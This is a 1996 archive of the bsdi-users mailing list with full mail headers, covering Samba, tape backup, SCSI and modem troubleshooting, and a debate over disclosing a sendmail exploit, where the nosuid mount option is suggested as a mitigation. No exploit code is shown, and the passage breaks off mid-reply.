November 19, 1996 11:13 AM To: bsdi-users@BSDI.COM; steve@prd.co.uk Subject: Re: samba + WfWG3.11 > > I need some guidance (mostly on the WfWG side I think) getting samba > to provide services to WfWG. Can someone spare the time for an email > chat on the topic? > Can you please include me in the email discussion or summarize for the mailing list? I've tried to setup SAMBA when it was previously discussed but didn't get anything to work. The program and/or documentation is either too complicated or I'm getting to the point where I can't read a man page and figure it out any more. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 19 20:19:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1351" "Tue" "19" "November" "1996" "11:20:32" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "38" "Re: Tape Backup on BSDI 2.1/3.0 " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24442 for ; Tue, 19 Nov 1996 13:24:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA11139 for bsdi-users-outgoing; Tue, 19 Nov 1996 13:20:50 -0500 (EST) Message-Id: <199611191820.LAA05498@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Sat, 16 Nov 1996 01:51:04." <199611160550.AAA04180@home.pcrealm.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: "BSDI Mail" cc: "bsdi-users@bsdi.com" Subject: Re: Tape Backup on BSDI 2.1/3.0 Date: Tue, 19 Nov 1996 11:20:32 -0700 "BSDI Mail" writes: >Hello everyone... I recently got an HP SureStore 6000 4/8GB DDS-2 4MM Tape Bac >kup Drive... What I >am wondering, is will 3.0 have a better way of doing tape backups? Maybe a me >nu-oriented >version? Also if not, is there any good software that supports BSDI, what I a >m looking for is >something simple to use, but menu driven... dump works, but I would rather be >able to catalog and >use functions like that... also what is the best source for information on bac >king up systems(like >over nfs... etc...). Since the BSDI 2.1 manual only has one page on doing bac >kups... :> > >Thanks for any info... > > You might take a look at the Amanda package from U of Maryland. It is included in the BSD/OS 2.1 distribution in /usr/contrib/bin/am* and /usr/contrib/lib/amanda/* I have not used it myself so I can only refer you the the man pages. $ man -k amanda amadmin (8) - administrative interface to control Amanda backups amanda (8) - Advanced Maryland Automatic Network Disk Archiver amcheck (8) - Amanda pre-run self-check amcleanup (8) - runs the Amanda cleanup process after a failure amdump (8) - backs up all disks in an Amanda configuration amflush (8) - flushes Amanda backup files from holding disk to tape amlabel (8) - labels an Amanda tape amrestore (8) - extract files from an Amanda tape -Bill N From VM Tue Nov 19 20:19:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["680" "Tue" "19" "November" "1996" "13:23:53" "-0500" "Kevin U. Hill" "kuh@naples.net" nil "20" "Re: quote files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24446 for ; Tue, 19 Nov 1996 13:24:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA11158 for bsdi-users-outgoing; Tue, 19 Nov 1996 13:24:34 -0500 (EST) Message-Id: <2.2.32.19961119182353.00842a84@gator.naples.net> X-Sender: kuh@gator.naples.net X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Kevin U. Hill" Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman Cc: bsdi-users@BSDI.COM Subject: Re: quote files Date: Tue, 19 Nov 1996 13:23:53 -0500 At 12:21 PM 10/20/96 -0500, Donald Dahlman wrote: >After the motd file is displayed, what is the name of the >file that is used to display the quotes. I have done a man quotes >man motd, man login and still am unable to locate a reference to it. /usr/games/fortune. FWIW, you could have found it by looking at the default dot.login file in /usr/share/skel. - Kevin ____________________________________________________ k e v i n u. h i l l | kuh@naples.net livestock agent - collier | university of florida tech committee chair | naples free-net http://www.naples.net/~kuh/ ---------------------------------------------------- From VM Tue Nov 19 20:19:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1085" "Tue" "19" "November" "1996" "10:26:18" "-0800" "Greg Shenaut" "greg@mailgate.bogs.org" nil "29" "Re: modem comm problems. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA24454 for ; Tue, 19 Nov 1996 13:27:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA11177 for bsdi-users-outgoing; Tue, 19 Nov 1996 13:28:15 -0500 (EST) Message-Id: <199611191826.KAA03541@myrtle.bogs.org> In-reply-to: Your message of "Sun, 15 Sep 1996 17:58:43 CDT." <323C8A23.ECB@eoe-magical.org> Reply-To: gkshenaut@ucdavis.edu Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: modem comm problems. Date: Tue, 19 Nov 1996 10:26:18 -0800 In message <323C8A23.ECB@eoe-magical.org>, Donald Dahlman quoth: " to bsdi-users@bsdi.com " " (system setup for testing and learning) " I have a US robotics 28800 on server com 2, calling in with another US " robotics 28800. " Server on left side, client on right side of desk. as you can see from " TTYS " tty01 set for 57600-hf. when I call in with vt102 emulation, can only " connect " if tty01 set for 57600-hf, and client modem set for 19200 or greater. " acts as if it will not communicate at lower speeds. have tried several " different " methods. When it does connect, works fine, however if I try to limit the " fixed " rate to 19200, connects but no communication. " Have included TTYS and Gettytab files. Boy, you included a lot of stuff! Anyway, one possible problem is that the line speed between the answering modem and the computer needs to be set to the (fixed) line speed. The only way to do this as far as I know is to connect to the modem using tip or something, and send "at\r". Does anyone have a better way to do this (for example, from gettytab)? --Greg From VM Tue Nov 19 20:19:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2189" "Tue" "19" "November" "1996" "11:48:15" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "71" "Re: Network backup consideration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA25001 for ; Tue, 19 Nov 1996 13:47:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA11256 for bsdi-users-outgoing; Tue, 19 Nov 1996 13:48:41 -0500 (EST) Message-Id: <199611191848.LAA05632@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Tue, 19 Nov 1996 10:35:47 +0100." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: MP cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Tue, 19 Nov 1996 11:48:15 -0700 MP writes: >I'd like to try Samba, but I don't know anything about it. >Could you please send me some sample config liles > >Maciej Przybecki >SYLABA Internet > >On Mon, 18 Nov 1996, Jeff Campbell wrote: > >> On Mon, 18 Nov 1996, Douglas Sand wrote: >> >> > This I am sure is NOT the only solution, but one I know will work. >> > >> > There is a program out there called samba (for UNIX). I have not had a >> > chance to install it yet, but this is how it works (from what I understand >): >> > >> > You install samba which will allow you to map the UNIX to any drive letter >> > you like on either a lan connection or a dialup connection. Once you do >> > that, you just back up on your NT machine, and pick up whatever drive you >> > created...sounds simple enough. >> >> I have used Samba quite a bit, and it works very well. The major >> problem being that you will have to map your entire system to dump >> it to tape with this method. Regardless, Samba does work well and it >> makes working with web pages much easier as you can save images etc from >> your Win95/NT desktop directly to the server as if it were a local drive >> under Win. >> >> >> -- >> Jeff >> jacampbe@is2.dal.ca >> >> Samba is also distributed with BSD/OS 2.1: $ man samba SAMBA(7) Samba SAMBA(7) NAME Samba - a LanManager like fileserver for Unix SYNOPSIS Samba DESCRIPTION The Samba software suite is a collection of programs that implements the SMB protocol for unix systems. This proto- col is sometimes also referred to as the LanManager or Netbios protocol. Other related man pages: $ man -k smb smb.conf (5) - configuration file for smbd smbclient (1) - ftp-like Lan Manager client program smbd (8) - provide SMB (aka LanManager) services to clients smbrun (1) - interface program between smbd and external programs smbstatus (1) - report on current Samba connections smbtar (1) - shell script for backing up SMB shares directly to UNIX tape drive testparm (1) - check an smbd configuration file for internal correctness testprns (1) - check printer name for validity with smbd -Bill N From VM Tue Nov 19 20:19:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["299" "Tue" "19" "November" "1996" "13:44:30" "-0500" "Chip Ach" "chip@harvard.net" nil "12" "Re: quote files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA25546 for ; Tue, 19 Nov 1996 14:02:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA11267 for bsdi-users-outgoing; Tue, 19 Nov 1996 13:50:06 -0500 (EST) In-Reply-To: <326A5FAD.4AA4@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chip Ach Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: quote files Date: Tue, 19 Nov 1996 13:44:30 -0500 (EST) man fortune On Sun, 20 Oct 1996, Donald Dahlman wrote: > After the motd file is displayed, what is the name of the > file that is used to display the quotes. I have done a man quotes > man motd, man login and still am unable to locate a reference to it. > > Yea I know, its simple. > Thanks. > From VM Tue Nov 19 20:19:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["258" "Tue" "19" "November" "1996" "14:07:37" "-0500" "Sam Brown" "root@ns2.clever.net" nil "10" "21140-AC PASS 2.0?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA25814 for ; Tue, 19 Nov 1996 14:11:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11345 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:10:38 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM cc: polk@BSDI.COM Subject: 21140-AC PASS 2.0? Date: Tue, 19 Nov 1996 14:07:37 -0500 (EST) Is it me, or do all the new d-links, smc's, kingstons with the pass 2.0 AC chipset just not work with bsdi/freebsd? All patches up to date. This might be something bsdi needs to address quickly, as the availability of the older cards is dwindling.. Sam From VM Tue Nov 19 20:19:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2" "Tue" "19" "November" "1996" "14:05:45" "-0500" "Sam Brown" "root@ns2.clever.net" nil "2" "" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA25819 for ; Tue, 19 Nov 1996 14:12:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11319 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:08:59 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Date: Tue, 19 Nov 1996 14:05:45 -0500 (EST) From VM Tue Nov 19 20:19:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["678" "Tue" "19" "November" "1996" "14:13:00" "-0500" "Parthiv Shah" "parthiv@corp.idt.net" nil "25" "Re: quote files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA25823 for ; Tue, 19 Nov 1996 14:13:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11366 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:13:23 -0500 (EST) In-Reply-To: <326A5FAD.4AA4@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Parthiv Shah Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: quote files Date: Tue, 19 Nov 1996 14:13:00 -0500 (EST) /usr/games/fortune fortune(6) - "print a random, hopefully interesting, adage" Parthiv -- Shah, Parthiv http://www.netadmin.net/ parthiv@corp.idt.net (201) 928 - 4414 Systems Administrator at IDT pgp? -> finger parthiv@haven.ios.com On Sun, 20 Oct 1996, Donald Dahlman wrote: > Date: Sun, 20 Oct 1996 12:21:49 -0500 > From: Donald Dahlman > To: bsdi-users@BSDI.COM > Subject: quote files > > After the motd file is displayed, what is the name of the > file that is used to display the quotes. I have done a man quotes > man motd, man login and still am unable to locate a reference to it. > > Yea I know, its simple. > Thanks. > From VM Tue Nov 19 20:19:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["892" "Tue" "19" "November" "1996" "13:15:22" "-0600" "jerry@iconnect.net" "jerry@iconnect.net" nil "26" "SCSI Adapter Not seen by BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA25827 for ; Tue, 19 Nov 1996 14:13:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11399 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:15:47 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: jerry Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: SCSI Adapter Not seen by BSDI Date: Tue, 19 Nov 1996 13:15:22 -0600 (CST) We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU SCSI controller. We are unable to get BSDI to recognize it. I can not find in the KERNEL where we define this adapter, yet the lizard book seems to imply that it is supported. When we boot, there are no hardware conflicts mentioned, and the adapter is NOT displayed as found. Questions: 1. Is the Adaptec AHA-2940AU actually supported? 2. If supported, does anyone know what changes need to be made to the KERNEL (or other) in order to get BSDI to see it? Thanks! Jerry +-----------------------------------------+ | Jerry Callahan - jerry@iconnect.net | | I Connection, Inc. | | Lake County/Waukegan IL's connection to | | the Internet! | | 847/662-0877 (Voice) 847/662-0325 (FAX) | +-----------------------------------------+ From VM Tue Nov 19 20:19:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["660" "Tue" "19" "November" "1996" "14:17:42" "-0500" "Cat Okita" "cat@uunet.ca" nil "18" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA25835 for ; Tue, 19 Nov 1996 14:16:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11409 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:18:07 -0500 (EST) In-Reply-To: <199611191713.JAA27226@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM, steve@prd.co.uk Subject: Re: samba + WfWG3.11 Date: Tue, 19 Nov 1996 14:17:42 -0500 On Tue, 19 Nov 1996, Bill Webb wrote: > Can you please include me in the email discussion or summarize for the > mailing list? I've tried to setup SAMBA when it was previously discussed > but didn't get anything to work. There's an excellent mailing list on Samba issues, but the documentation is fairly complete and easy to follow. > The program and/or documentation is either too complicated or I'm getting > to the point where I can't read a man page and figure it out any more. Can you be more specific? I've never had any problems compiling SAMBA out of the box. Are you having configuration problems? Cat Okita System Administrator, UUNET Canada From VM Tue Nov 19 20:19:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1591" "Tue" "19" "November" "1996" "17:46:18" "-0200" "Aloysio Lessa" "alpxazvdo@iptec.com.br" nil "51" "WangDAT Model 3200 & Adaptec AHA-1542CF" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA26129 for ; Tue, 19 Nov 1996 14:28:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11439 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:26:11 -0500 (EST) Message-Id: <199611191946.RAA00238@iptec.com.br> X-Sender: alpxazvdo@iptec.com.br X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Aloysio Lessa Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: WangDAT Model 3200 & Adaptec AHA-1542CF Date: Tue, 19 Nov 1996 17:46:18 -0200 (EDT) Hi all, I'm trying to add a WangDAT Model 3200 tape drive to a BSDI/OS 2.1 box that already has an Adaptec AHA-1542CF SCSI host adapter, with a QUANTUM FIREBALL 1080S (SCSI-2, device ID #0) disk drive and a SONY CD-ROM CU76S (SCSI-2, device ID #4) attached to it. The WangDAT tape drive has been set to SCSI-2 protocol, data compression enabled, and device ID #5; the SCSI bus terminator resistors in RN1, RN2 and RN3 have been removed. Here are the SCSI adapters settings in the kernel configuration file: >[...] ># Buslogic VLB/EISA/PCI SCSI host adapter in 32-bit mode (bha) ># Adaptec 1542[BC] SCSI host adapter (aha) ># bha must precede aha; if bha omitted, aha supports bha cards in 24-bit mode. ># If both are configured for the same address, aha should directly follow bha. >bha0 at isa? port 0x330 # or pci0 >aha0 at isa? port 0x330 >tg* at bha0 target ? >tg* at aha0 target ? > >bha1 at isa? port 0x334 # or pci0 >aha1 at isa? port 0x334 >tg* at bha1 target ? >tg* at aha1 target ? > ># Adaptec 1520 or compatible SCSI host adaptor >sa0 at isa? port 0x340 >tg* at sa0 target ? >[...] When I connect the tape drive to the cable (all devices are connected to the same internal 50 pin SCSI connector), the system hangs, after printing the following messages: Found aha0 at isa0: Adaptec SCSI Delaying for SCSI bus reset and devices self-tests Found tg0 at aha0 target0 (and then the system hangs). Can anyone help, please? TIA, Aloysio ---------------------------------- Aloysio Lessa P de Azevedo alpxazvdo@iptec.com.br alpxazvdo@ax.apc.org From VM Tue Nov 19 20:19:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1285" "Tue" "19" "November" "1996" "11:25:36" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "29" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA26134 for ; Tue, 19 Nov 1996 14:29:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11473 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:31:01 -0500 (EST) Message-Id: <199611191925.LAA27582@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: cat@uunet.ca Cc: bsdi-users@BSDI.COM, steve@prd.co.uk Subject: Re: samba + WfWG3.11 Date: Tue, 19 Nov 1996 11:25:36 -0800 (PST) > On Tue, 19 Nov 1996, Bill Webb wrote: > > Can you please include me in the email discussion or summarize for the > > mailing list? I've tried to setup SAMBA when it was previously discussed > > but didn't get anything to work. > > There's an excellent mailing list on Samba issues, but the documentation is > fairly complete and easy to follow. > > > The program and/or documentation is either too complicated or I'm getting > > to the point where I can't read a man page and figure it out any more. > > Can you be more specific? I've never had any problems compiling SAMBA out > of the box. Are you having configuration problems? > Compiling SAMBA wasn't the issue since it comes with version 2.1 already compiled. Figuring out how to configure it was the problem. I eventually thought I had it configured, but the Windows 95 machine didn't see the BSD/OS 2.1 machine. The man pages were pretty obtuse so I pretty much gave up at that point. Anyway, I'll check the SAMBA WWW site and see if it has better documentation and having a FAQ for reference would probably be helpful as well. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 19 20:19:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["803" "Tue" "19" "November" "1996" "12:30:05" "-0700" "Richard Ryan" "rryan@blackhills.com" nil "18" "{2}:compile error(s): Found Answer" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA26138 for ; Tue, 19 Nov 1996 14:29:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11465 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:30:42 -0500 (EST) Message-Id: <199611191930.MAA01438@bhost.blackhills.com> Comments: Authenticated sender is Organization: Internet Services of the Black Hills, Inc. MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42a) Precedence: bulk From: "Richard Ryan" Sender: owner-bsdi-users@lists.gateway.com To: "Jim Cassata" CC: bsdi-users@BSDI.COM Subject: {2}:compile error(s): Found Answer Date: Tue, 19 Nov 1996 12:30:05 -0700 > > ___res___query (note __ change) without defining the new variable. Now > > to try and trace what program did it. I suspect the new bind I > > installed as it was linked to the new file. Any one else seen this? > > RR > Yes, I have this from trying to install 8.8.2 & 8.8.3 on my 2.1box with > bind 4.9.5. Haven't solved the problem yet, though. what do I do? check for a version of resolv.h on your machine that is ver 8.11, 10118 in size dated 1996/06/02. rename the resolv.h in /usr/include to rresolv.h and copy the new one into the directory. Thats what I did and it cleaned right up. The bad (?) one is 8.16 dated 1996/09/28 Yell if you still have problems RR Doing easily what others find difficult is talent; doing what is impossible for talent is genius. - Henri-Frederic Amiel From VM Tue Nov 19 20:19:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2947" "Tue" "19" "November" "1996" "14:23:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "94" "RE: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA26142 for ; Tue, 19 Nov 1996 14:29:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11418 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:19:08 -0500 (EST) Message-ID: <3292094D@SMTPGTWY.WANG.COM> X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@gateway.com'" Subject: RE: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Tue, 19 Nov 96 14:23:00 EST Ian, I'm not convinced one way or the other just yet, but I'd think the "discussion" would have evolved no matter the sequence of the postings. I will say however, that not being a programmer myself, and seeing the exploit posted without a fix, scared the daylights out of me for one of the reasons already mentioned: It may have (i.e. likely) made the exploit known to potential intruders who at that time were unaware of it. Richard ---------- From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] Sent: Tuesday, November 19, 1996 11:25 AM To: Ralph Huntington Cc: bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Ralph Huntington wrote :- > >p.s. Perhaps the recent sendmail exploit was posted here (without the > then-unknown fix) with the intent that maybe someone on this list > could quickly come up with a fix. After all, if you can't post > something like that to a list like this (where the good guys hang > out, right?) then who are we kidding? > > - rh I agree. Posting the exploit was a good idea, even though no fix was posted at the same time. We tried the exploit on numerous machines, alpha's running digital unix and dec workstations running ultrix. We were able to exploit digital unix but not the ultrix machines, so we sat down and analyse just what the exploit was doing and why it worked on one and not the other. My point being that just patching the exploit doesn't necessarily remove the problem that may occur with other pieces of software, or other exploits based on the same way this one was written. What we found was that setting nosuid on various file systems (especially /tmp as that was being used in the exploit) would stop this exploit and possibly others written the same way. (that's why it didn't work under ultrix as we had nosuid set on the tmp volume). Having your users home directories on volumes that are nosuid would definately be a GOOD idea, but bsdi's default configuration isn't set up this way. Point: don't just flame people for posting an exploit with out the patch, 'cause some other good may come out of it, such as a general discussion on the above I hope. Catch ya, __________________________________________________________________________ __ Ian McWilliam. Technical Officer, Faculty of Science & Technology, Dept. of Computing. University of Western Sydney, NEPEAN. P.O.Box 10 Kingswood, N.S.W, Australia. 2560. (047) 360 757 __________________________________________________________________________ __ People Get Lost in Thought 'cause it's Unknown Territory. CHIP - Found on the shoulders of Systems Support Personnel. It becomes Most evident when some fool claims that the computer has made a mistake!!!! __________________________________________________________________________ __ E-Mail: ianm@st.nepean.uws.edu.au i.mcwilliam@st.nepean.uws.edu.au From VM Tue Nov 19 20:19:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["817" "Tue" "19" "November" "1996" "14:34:00" "-0500" "Cat Okita" "cat@uunet.ca" nil "20" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA26677 for ; Tue, 19 Nov 1996 14:44:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11496 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:34:29 -0500 (EST) In-Reply-To: <199611191925.LAA27582@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM, steve@prd.co.uk Subject: Re: samba + WfWG3.11 Date: Tue, 19 Nov 1996 14:34:00 -0500 On Tue, 19 Nov 1996, Bill Webb wrote: > Compiling SAMBA wasn't the issue since it comes with version 2.1 already > compiled. Figuring out how to configure it was the problem. I eventually > thought I had it configured, but the Windows 95 machine didn't see the > BSD/OS 2.1 machine. The man pages were pretty obtuse so I pretty much gave > up at that point. Hrm - that's odd. I found the man pages to be an excellent reference - you might want to pick up the latest version, rather than the one BSDi ships... > Anyway, I'll check the SAMBA WWW site and see if it has better documentation > and having a FAQ for reference would probably be helpful as well. Good luck - let me know how it goes. If you need a hand, feel free to drop me a line with your smb.conf... Cat Okita System Administrator, UUNET Canada From VM Tue Nov 19 20:19:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["326" "Tue" "19" "November" "1996" "11:37:56" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "15" "Re: quote files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA26687 for ; Tue, 19 Nov 1996 14:46:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11509 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:39:42 -0500 (EST) In-Reply-To: <326A5FAD.4AA4@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: quote files Date: Tue, 19 Nov 1996 11:37:56 -0800 (PST) On Sun, 20 Oct 1996, Donald Dahlman wrote: > After the motd file is displayed, what is the name of the > file that is used to display the quotes. I have done a man quotes > man motd, man login and still am unable to locate a reference to it. > > Yea I know, its simple. > Thanks. Are you talking about fortune ? Amy :) From VM Tue Nov 19 20:19:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1134" "Tue" "19" "November" "1996" "12:50:16" "-0700" "Peter W. Mountain" "peterm@canopus.estinc.com" nil "32" "Re: SCSI Adapter Not seen by BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA26959 for ; Tue, 19 Nov 1996 14:51:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11541 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:44:37 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Peter W Mountain Sender: owner-bsdi-users@lists.gateway.com To: jerry cc: bsdi-users@BSDI.COM Subject: Re: SCSI Adapter Not seen by BSDI Date: Tue, 19 Nov 1996 12:50:16 -0700 (MST) On Tue, 19 Nov 1996, jerry wrote: > We are running BSDI 2.1 and are trying to install an Adaptec 